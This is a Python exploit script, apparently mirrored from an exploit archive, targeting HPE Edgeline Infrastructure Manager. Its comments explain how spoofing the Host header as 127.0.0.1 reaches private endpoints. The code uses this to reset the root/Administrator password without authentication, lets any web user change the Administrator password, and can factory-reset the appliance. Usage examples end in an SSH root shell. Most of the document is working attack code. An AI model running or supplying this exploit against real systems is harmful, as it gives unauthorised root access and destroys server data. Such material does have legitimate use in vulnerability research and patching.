Share
## https://sploitus.com/exploit?id=PACKETSTORM:160730
#!/usr/bin/python  
# -*- coding: UTF-8 -*-  
#  
# billhader.py  
#  
# HPE Edgeline Infrastructure Manager Multiple Remote Vulnerabilities  
#  
# Jeremy Brown [jbrown3264/gmail]  
# Dec 2020  
#  
# In \opt\hpe\eim\containers\api\eim\api\urls.py, some private paths are defined  
# which are intended to only be accessible via the local console.  
#  
# path('private/AdminPassReset', views.admin_password_reset), <-- ice  
# path('private/ResetAppliance', views.reset_appliance), <-- ice  
# path('private/EIMApplianceIP', views.get_eim_appliance_ips), <-- boring  
#  
# These are meant to only be exposed for the local GUI so admins can perform  
# functions without authenticating. The way do they do this is by checking the  
# Host header and returning a 404 not found for not-localhost, but 200 OK for  
# 127.0.0.1. This is of course flawed because any remote user has control over  
# the Host header and they can call these functions with valid JSON, eg.  
# /private/AdminPassReset to reset the admin password and login via SSH (default)  
# as root due to the Administrator and root always synced to the same password.  
# They can also call ResetAppliance and the appliance will immediately reset  
# user data and cause the entire server to reboot.  
#  
# Administrator is the default and permanent web console user and as mentioned it's  
# tied to the root OS user account. When Administrator changes their password, the  
# backend changes the root password to the same. Other users can be added to the  
# web console, but there is nothing stopping them changing any other user’s password.  
# Not even sure if this is a bug or just wow functionality because although the  
# users appear different, they all seem to share the same role. Broken or incomplete  
# design I guess. So any user can change the Administrator password and use it to  
# login as root via the default open SSH server, start setting up camp, etc.  
#  
# Usage examples  
# > billhader.py 10.0.0.10 pre_root_passwd -n letmein  
# {"RootPasswd": "Modified", "UserPassword": "Modified"}  
#  
# > ssh root@10.0.0.10  
# root@10.10.10.20's password: [letmein]  
# [root@hpe-eim ~]#  
#  
# > billhader.py 10.0.0.10 post_root_passwd -u test -p abc123  
# login succeeded  
# {"Status": "success", "Valid_Entries": ["Password"], "Invalid_Entries": []}  
#  
# (root password is now newpassword default of 'letmein')  
#  
# > billhader.py 10.10.10.20 pre_factory_reset  
# Lost your password huh? Are you sure you want to factory reset this server?  
# yes  
# done  
#  
  
import os  
import sys  
import argparse  
import requests  
import urllib.parse  
import json  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
BINGO = '127.0.0.1' # not localhost :')  
DEFAULT_PORT = 443  
  
class BillHader(object):  
def __init__(self, args):  
self.target = args.target  
self.action = args.action  
self.newpassword = args.newpassword  
self.username = args.username  
self.password = args.password  
  
def run(self):  
target = "https://" + self.target + ':' + str(DEFAULT_PORT)  
  
session = requests.Session()  
session.verify = False  
  
if(self.action == 'pre_root_passwd'):  
headers = {'Host':BINGO}  
  
data = \  
{'Password':self.newpassword,  
'ConfirmPassword':self.newpassword}  
  
try:  
resp = session.post(target + "/private/AdminPassReset",  
headers=headers,  
data=json.dumps(data))  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
print("%s" % resp.text)  
  
if(self.action == 'post_root_passwd'):  
data = \  
{'UserName':self.username,  
'Password':self.password}  
  
try:  
resp = session.post(target + "/redfish/v1/SessionService/Sessions",  
data=json.dumps(data))  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
if(resp.status_code != 201):  
print("login failed")  
return -1  
else:  
print("login succeeded")  
  
try:  
token = resp.headers['x-auth-token']  
except:  
print("Error: couldn't parse token from response header")  
return -1  
  
if(token == None):  
print("Error: couldn't parse token from session")  
return -1  
  
headers = {'X-Auth-Token':token}  
  
data = {'Password':self.newpassword}  
  
try:  
resp = session.patch(target + "/redfish/v1/AccountService/Accounts/1",  
headers=headers,  
data=json.dumps(data))  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
print("%s" % resp.text)  
  
if(self.action == 'pre_factory_reset'):  
print("Lost your password huh? Are you sure you want to factory reset this server?")  
  
choice = input().lower()  
  
if('yes' not in choice):  
print("cool, exiting")  
return -1  
  
headers = {'Host':BINGO}  
  
data = {'ResetRequired':'true'}  
  
try:  
resp = session.post(target + "/private/ResetAppliance", \  
headers=headers,  
data=json.dumps(data))  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
print("done")  
  
return 0  
  
def arg_parse():  
parser = argparse.ArgumentParser()  
  
parser.add_argument("target",  
type=str,  
help="EIM host")  
  
parser.add_argument("action",  
type=str,  
choices=['pre_root_passwd', 'post_root_passwd', 'pre_factory_reset'],  
help="Which action to perform on the server")  
  
parser.add_argument("-n",  
"--newpassword",  
type=str,  
default="letmein",  
help="New password to set for root account (letmein)")  
  
parser.add_argument("-u",  
"--username",  
type=str,  
help="Valid username (for post_root_reset)")  
  
parser.add_argument("-p",  
"--password",  
type=str,  
help="Valid password (for post_root_reset)")  
  
args = parser.parse_args()  
  
return args  
  
def main():  
args = arg_parse()  
  
bill = BillHader(args)  
  
result = bill.run()  
  
if(result > 0):  
sys.exit(-1)  
  
if(__name__ == '__main__'):  
main()